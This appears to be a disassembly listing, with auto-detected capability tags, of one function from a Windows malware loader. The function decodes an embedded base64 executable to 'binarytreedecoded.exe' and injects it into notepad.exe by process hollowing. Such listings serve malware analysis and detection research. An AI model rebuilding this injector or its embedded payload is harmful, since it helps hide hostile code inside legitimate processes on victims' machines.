Function at 0x140003420
Capabilities:
Get file size
Read file on windows
Set registry value
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x848]
sub rsp, 0x920
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x1400a8080]
xor rax, rsp
mov qword [rbp + 0x800], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x768], xmm0
xor r12d, r12d
mov qword [rbp + 0x778], r12
mov qword [rbp + 0x780], r12
lea rdx, str.TVqQAAMAAAAEAAAA__8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAAZIYJAIITtFoAAAAAAAAAAPAALwILAgIWACAAAACiBAAACgAAsBQAAAAQAAAAAEAAAAAAAAAQAAAAAgAABAAAAAAAAAAFAAIAAAAAAAAwBQAABAAAwCMFAAIAAAAAACAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAUAZAgAAAAAAAAAAAAAANAEADQCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAFACgAAAAAAAAAAAAAAAAAAAAAAAAADAIFANABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAOAeAAAAEAAAACAAAAAEAAAAAAAAAAAAAAAAAAAgAFBgLmRhdGEAAACQiAQAADAAAACKBAAAJAAAAAAAAAAAAAAAAAAAQABgwC5yZGF0YQAAoAIAAADABAAABAAAAK4EAAAAAAAAAAAAAAAAAEAAUEAucGRhdGEAADQCAAAA0AQAAAQAAACyBAAAAAAAAAAAAAAAAABAADBALnhkYXRhAAD8AQAAAOAEAAACAAAAtgQAAAAAAAAAAAAAAAAAQAAwQC5ic3MAAAAA8AkAAADwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAYMAuaWRhdGEAAGQIAAAAAAUAAAoAAAC4BAAAAAAAAAAAAAAAAABAADDALkNSVAAAAABoAAAAABAFAAACAAAAwgQAAAAAAAAAAAAAAAAAQABAwC50bHMAAAAASAAAAAAgBQAAAgAAAMQEAAAAAAAAAAAAAAAAAEAAYMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMNmZmZmZmYuDxEAAAAAABIgw4iwUW4AQARIsNHAEAEyNBejfBABIjRXZ3wQASI0Nzt8EAIkF5N8EAEiNBd3fBABIiUQkIOjLHAAAiQXR3wQASIPEOMMPH4QAAAAAAEiD7CgxwGaBPZHv__9NWscF398EAAEAAADHBdHfBAABAAAAxwXD3wQAAQAAAMcFyd8EAAEAAAB0Z4kFfd8EAIsFy98EAIXAdEi5AgAAAOhtHAAASMfB_____ihBgAAixW73wQASIkF5OgEAEiJBdXoBABIiwVy8gQAiRDoTw0AAIM9eKcEAAF0ZjHASIPEKMO5AQAAAOglHAAA67YPHwBIYw017___SI0V8u7__0gByoE6UEUAAHWAD7dKGGaBQsBdD9mgfkLAgFav___4O6hAAAAA4Phl3___LkvgAAAAxwIXSD5XA6Uv___9mkEiNDfkLAADo5AsAADHASIPEKMODenQOD4Ys____i4roAAAAMcCFyQVwOka____kEFUVVdWU0iB7JAAAABEix3c3gQAMcC5DQAAAEiNVCQgRYXbSInX80irD4XDAgAAZUiLBCUwAAAASItYCDHA8EgPsR355wQAMfZIhcB0Nkg5w0C2AXQuSIs91_AEADH26wlIOcMPhDYCAAC56AMAAP_XSInw8EgPsR3D5wQASIXAdd8x9osFrucEAIP4AQEIQIAAIsFncEAIXAD4RfAgAAxwXV3QQAAQAAAIsFhcEAIP4AQEFgIAAIX2dQoxwPBIhwV45wQASIsFsaUEAEiFwHQMRTHAugIAAAAxyf_Q6JsOAABIjQ2ECAAA_xU68AQASIkFJ94EAOhiBwAA6K0UAABIjRV2rQQASInB_xW57wQASIXAdAlIjQ1h_f___9DoWhUAAESLFcPdBABFhdJ0bUiLBXvwBAAxyUiLAOsMhNJ0MITJdCBIg8ABD7YQgPogfuxBichBg_ABgPoiQQ9EyOvkhNJ0DEiDwAEPthCAiB8PZEJFwBSI0VAO3__0iJBYnmBAC4CgAAAEiJFY3mBAAPhfcAAACJBXnmBACLPd_cBACNTwFIY8lIweED6PwZAABIicUxwIX_SIs1xtwEAH5LMdtmLg8fhAAAAAAASIsM3ujfGQAARI1gAU1j5EyJ4ejIGQAASIlE3QBIixTeTYngSInBSIPDAeioGQAAOd9_zEhj_0iNBP0AAAAASMdEBQAAAAAASIktadwEAOgMFQAASIsVZdwEAEiLBVrvBACLDUzcBABIiRBMiwVO3AQASIsVP9wEAOiSAgAARIsNR9wEAIkFPdwEAEWFyQEvgAAAESLBRXcBABFhcB1ChLGQAAiwUd3AQASIHEkAAAAFteX11BXMMPH4AAAAAAD7dEJGDp__7__2YPH0QAAIsFkuUEAL4BAAAAg_gBD4Xf_f__uR8AAADoChkAAIsFdOUEAIP4AQF7f3__w8fAEiNFbn7BABIjQ2iwQA6O0YAADHBUvlBAACAAAA6cj9__9IidH_FdntBADpL_3__0iNFan7BABIjQ2KwQAxwUg5QQAAQAAAOizGAAA6Yn9__JweivGAAAkGYPH0QAAEiD7CjHBbLbBAABAAAA6A0UAADouPz__5CQSIPEKMOQSIPsKMcFktsEAAAAAADo7RMAAOiY_P__kJBIg8Qow5BVSInlSIPsQEiJTRCJVRhMiUUgi0UYSJhBuUAAAABBuAAQAABIicK5AAAAAEiLBbHtBAD_0EiJRfDHRfwAAAAA61eLRfxImEiJwUgDTRCLRfxImEgDRRBED7YAi0X8icLBh_B6h4B0IPgAynQSJhIA0UgD7YARDHAiAGLRfxImEiJwkgDVRCLRfxImEgDRfAPthKIEINF_AGLRfw7RRh8oUiLRfBIx0QkKAAAAADHRCQgAAAAAEG5AAAAAEmJwLoAAAAAuQAAAABIiwVM7AQA_9CQSIPEQF3DkJCQkJCQkFVIieVIgwwSIlNEEiNBR0aAABIiUX4SItFItABEiYSInB6DgXAABIiUXwSItFItABEhjyEiLRfhIg8AQSInCSItF8EmJyEiJwegIFwAASItFEiNSAhIi0X4i1AESItF8EmJyEiJweiy_v__SItF8EiJwegWFwAAkEiDxDBdw5CQkJCQkJCQkJCQkJCQkFVIieVIgwgiU0QSIlVGOg8EgAAuQAAAADoUv___7kQJwAASIsFKuwEAP_Q6_CQkEiD7CiF0nQYg_oDdBO4AQAAAEiDxCjDZg8fhAAAAAAA6HsVAAC4AQAAAEiDxCjDkFZTSIPsKIM9g6EEAAJ0CscFd6EEAAIAAACDgJ0EoP6AXQ_uAEAAABIg8QoW17DkEiNHWn5BABIjTViQQASDnzdOBIiwNIhcB0Av_QSIPDCEg53nXtuAEAAABIg8QoW17D6AkVAADrug8fgAAAAAAxwMOQkJCQkJCQkJCQkJCQSIsF1esEAEj_4JCQkJCQkEiJyMNmZmYuDxEAAAAAABIicjDkJCQkJCQkJCQkJCQU0iD7DBIictIiw0p4gQA6Mz___9Ig_j_SIlEJCB0drkIAAAA6N8VAABIiw0I4gQA6Kv___9Iiw0E4gQASIlEJCDomv___0yNRCQoSI1UJCBIidlIiUQkKOizFQAASItMJCBIicPohv___0iLTCQoSIkFwuEEAOh1____uQgAAABIiQW54QQA6IwVAABIidhI
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp byte [rdx + r8], r12b
jne 0x140003487
lea rcx, [rbp + 0x768]
call fcn.140007eb0
nop
lea rdx, [rbp + 0x768]
lea rcx, [rbp + 0x748]
call fcn.140002eb0
nop
mov r14d, 1
mov rcx, qword [rbp + 0x758]
mov rbx, qword [rbp + 0x778]
cmp rcx, rbx
je 0x14000358b
mov rdx, qword [rbp + 0x760]
cmp rcx, rdx
jae 0x140003500
lea rax, [rcx + 1]
mov qword [rbp + 0x758], rax
lea rax, [rbp + 0x748]
cmp rdx, 0xf
cmova rax, qword [rbp + 0x748]
mov word [rax + rcx], 0
jmp 0x140003515
xor r9d, r9d
xor r8d, r8d
mov rdx, r14
lea rcx, [rbp + 0x748]
call fcn.1400087c0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 0x15
lea rdx, str.binarytreedecoded.exe
lea rcx, [rsp + 0x70]
call fcn.140007eb0
nop
lea rdx, [rbp + 0x748]
lea rcx, [rsp + 0x70]
call fcn.140003220
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x14000358b
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003586
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cce
call fcn.14000a680
lea rcx, [0x1400a9490]
call fcn.140007a30
mov rdx, qword [rbp + 0x758]
mov rcx, rax
call fcn.140004fd0
mov rcx, rax
lea rdx, [0x1400a1698]
call fcn.140007ac0
mov rcx, rax
mov rdx, rbx
call fcn.140004fd0
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x80], xmm1
mov r8d, 0x15
lea rdx, str.binarytreedecoded.exe
lea rcx, [rsp + 0x70]
call fcn.140007eb0
nop
lea rdx, [rbp + 0x748]
lea rcx, [rsp + 0x70]
call fcn.140003220
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140003636
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003631
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cd4
call fcn.14000a680
lea rax, str.binarytree.exe
mov qword [0x1400aab18], rax
lea rcx, str._n_PROCESS_HOLLOWING__n
call fcn.140001160
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [0x1400aab18]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003697
lea rcx, str.____An_error_occured_when_trying_to_open_the_PE_file___n
call fcn.140001160
mov rcx, rdi
jmp 0x140003926
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r15d, eax
cmp eax, 0xffffffff
jne 0x1400036be
lea rcx, str.____An_error_occured_when_trying_to_get_the_PE_file_size___n
call fcn.140001160
mov rcx, rsi
jmp 0x140003926
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400036f8
lea rcx, str.____An_error_occured_when_trying_to_allocate_memory_for_the_PE_file_content___n
call fcn.140001160
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
jmp 0x140003926
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, r15d
mov rdx, rbx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140003739
lea rcx, str.____An_error_occured_when_trying_to_read_the_PE_file_content___n
call fcn.140001160
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14000392d
mov rcx, rbx
jmp 0x140003926
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x14000392d
mov rdx, rbx
lea rcx, str.___PE_file_content_:_0x_p_n
call fcn.140001160
movsxd rax, dword [rbx + 0x3c]
cmp dword [rax + rbx], 0x4550
je 0x14000378c
lea rcx, str.____The_PE_file_is_not_valid___n
call fcn.140001160
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000392d
lea rcx, str.___The_PE_file_is_valid._n
call fcn.140001160
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x794], xmm0
movups xmmword [rbp + 0x7a4], xmm0
movups xmmword [rbp + 0x7b4], xmm0
movups xmmword [rbp + 0x7c4], xmm0
movups xmmword [rbp + 0x7d4], xmm0
movups xmmword [rbp + 0x7e4], xmm0
mov dword [rbp + 0x7f4], eax
mov dword [rbp + 0x790], 0x68
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x790]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.notepad.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x140003833
lea rcx, str.____An_error_is_occured_when_trying_to_create_the_target_process___n
jmp 0x1400038e3
lea rdx, [rbp + 0x740]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
cmp dword [rbp + 0x740], edx
je 0x1400039ff
mov qword [rbp - 0x70], r12
mov r8d, 0x2c8
lea rcx, [rbp - 0x5c]
call fcn.14002dc10
mov dword [rbp - 0x60], 0x10000b
lea rdx, [rbp - 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x44]
add edx, 8
mov qword [rsp + 0x20], r12
mov r9d, 4
lea r8, [rbp - 0x70]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x1400038b7
xorps xmm6, xmm6
xorps xmm0, xmm0
psrldq xmm0, 8
movq rcx, xmm0
movq rax, xmm6
jmp 0x1400038ce
mov eax, dword [rbp + 0x44]
mov qword [rsp + 0x70], rax
mov rcx, qword [rbp - 0x70]
mov qword [rsp + 0x78], rcx
movdqa xmm6, xmmword [rsp + 0x70]
test rcx, rcx
je 0x1400038dc
test rax, rax
jne 0x140003a9e
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_image_base_address_of_the_target_process___n
call fcn.140001160
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14000390c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x14000392d
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x760]
cmp rdx, 0xf
jbe 0x14000396e
inc rdx
mov rcx, qword [rbp + 0x748]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003969
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cda
call fcn.14000a680
mov qword [rbp + 0x758], r12
mov qword [rbp + 0x760], 0xf
mov byte [rbp + 0x748], 0
mov rdx, qword [rbp + 0x780]
cmp rdx, 0xf
jbe 0x1400039c8
inc rdx
mov rcx, qword [rbp + 0x768]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003cc8
call fcn.14000a680
mov eax, edi
mov rcx, qword [rbp + 0x800]
xor rcx, rsp
call fcn.14000a660
lea r11, [rsp + 0x920]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x70], r12
mov r8d, 0x4d0
lea rcx, [rbp + 0x270]
call fcn.14002dc10
mov dword [rbp + 0x2a0], 0x10000b
lea rdx, [rbp + 0x270]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0x2f8]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140003a73
xorps xmm6, xmm6
xorps xmm0, xmm0
psrldq xmm0, 8
movq rcx, xmm0
movq rax, xmm6
jmp 0x140003a8c
mov rax, qword [rbp + 0x2f8]
mov qword [rbp - 0x70], rax
mov rcx, qword [rsp + 0x70]
mov qword [rbp - 0x68], rcx
movdqa xmm6, xmmword [rbp - 0x70]
test rcx, rcx
je 0x1400038dc
test rax, rax
je 0x1400038dc
movq rdx, xmm6
lea rcx, str.___Target_Process_PEB_:_0x_p_n
call fcn.140001160
psrldq xmm6, 8
movq rdx, xmm6
lea rcx, str.___Target_Process_Image_Base_:_0x_p_n
call fcn.140001160
movsxd rax, dword [rbx + 0x3c]
movzx esi, word [rax + rbx + 0x18]
mov r13d, 0x10b
lea rax, str.___Source_PE_Image_architecture_:_x64_n
lea rcx, str.___Source_PE_Image_architecture_:_x86_n
cmp si, r13w
cmovne rcx, rax
call fcn.140001160
lea rcx, str.___Target_PE_Image_architecture_:_x86_n
lea rax, str.___Target_PE_Image_architecture_:_x64_n
cmp dword [rbp + 0x740], 0
cmove rcx, rax
call fcn.140001160
cmp si, r13w
jne 0x140003b2d
cmp dword [rbp + 0x740], 0
jne 0x140003b36
lea rcx, str.____Architecture_are_not_compatible___n
call fcn.140001160
jmp 0x14000392d
cmp dword [rbp + 0x740], 0
jne 0x140003b1c
lea rcx, str.___Architecture_are_compatible___n
call fcn.140001160
movsxd rax, dword [rbx + 0x3c]
movzx ecx, word [rax + rbx + 0x5c]
movzx edx, cx
lea rcx, str.___Source_Image_subsystem_:_0x_X_n
call fcn.140001160
movq rdx, xmm6
mov rcx, qword [rsp + 0x50]
cmp dword [rbp + 0x740], 0
je 0x140003b74
call fcn.140001fd0
jmp 0x140003b79
call fcn.140002130
cmp eax, 0xffffffff
jne 0x140003b8a
lea rcx, str.____An_error_is_occured_when_trying_to_get_the_subsytem_of_the_target_process._n
jmp 0x1400038e3
movsxd rax, dword [rbx + 0x3c]
cmp si, r13w
jne 0x140003baa
mov eax, dword [rax + rbx + 0xa0]
mov r14d, r12d
test eax, eax
setne r14b
test eax, eax
jne 0x140003bb4
jmp 0x140003bc0
cmp dword [rax + rbx + 0xb0], 0
je 0x140003bbd
lea rcx, str.___The_source_image_has_a_relocation_table._n
jmp 0x140003bc7
mov r14d, r12d
lea rcx, str.___The_source_image_doesnt_have_a_relocation_table._n
call fcn.140001160
mov rdx, rbx
lea rcx, [rsp + 0x50]
cmp si, r13w
jne 0x140003c58
test r14d, r14d
jne 0x140003c4d
call fcn.1400022a0
test eax, eax
jne 0x140003c80
lea rcx, str.____The_injection_has_failed___n
call fcn.140001160
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003c1c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140003c3c
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.binarytreedecoded.exe
call fcn.140011b8c
jmp 0x14000392d
call fcn.140002720
test eax, eax
je 0x140003bec
jmp 0x140003c80
test r14d, r14d
jne 0x140003c68
call fcn.1400024e0
test eax, eax
je 0x140003bec
jmp 0x140003c80
call fcn.140002b00
test eax, eax
je 0x140003bec
mov ecx, 0x4e20
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___The_injection_has_succeed___n
call fcn.140001160
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x140003cb0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140003cc0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, r12d
jmp 0x14000392d
call fcn.140016578
nop
call fcn.140016578
int3
call fcn.140016578
nop
call fcn.140016578
int3